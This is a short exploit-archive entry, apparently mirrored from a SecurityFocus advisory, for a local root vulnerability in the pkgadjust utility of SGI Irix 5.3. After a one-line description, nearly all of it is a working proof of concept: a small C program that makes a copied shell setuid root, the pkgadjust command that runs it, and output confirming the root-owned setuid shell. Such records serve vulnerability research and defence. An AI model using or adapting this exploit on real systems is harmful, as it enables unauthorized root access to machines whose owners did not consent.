17 lines
No EOL
588 B
Text
17 lines
No EOL
588 B
Text
source: https://www.securityfocus.com/bid/419/info
|
|
|
|
A vulnerability exists in the pkgadjust utility shipped with Irix 5.3 from Silicon Graphics. This vulnerability can result in the compromise of the root account.
|
|
|
|
% cat > getroot.c
|
|
int main() { setuid(0); chown("sh",0,0); chmod("sh",04755); return 0; }
|
|
% cc getroot.c -o getroot
|
|
% cp /bin/sh sh
|
|
% ls -la sh
|
|
-rwxr-xr-x 1 hhui user 140784 Jan 5 20:52 sh
|
|
% /usr/pkg/bin/pkgadjust -f -a getroot
|
|
scanning inst-database
|
|
|
|
updating pkginfo-files
|
|
........................................^C
|
|
% ls -la sh
|
|
-rwsr-xr-x 1 root sys 140784 Jan 5 20:52 sh |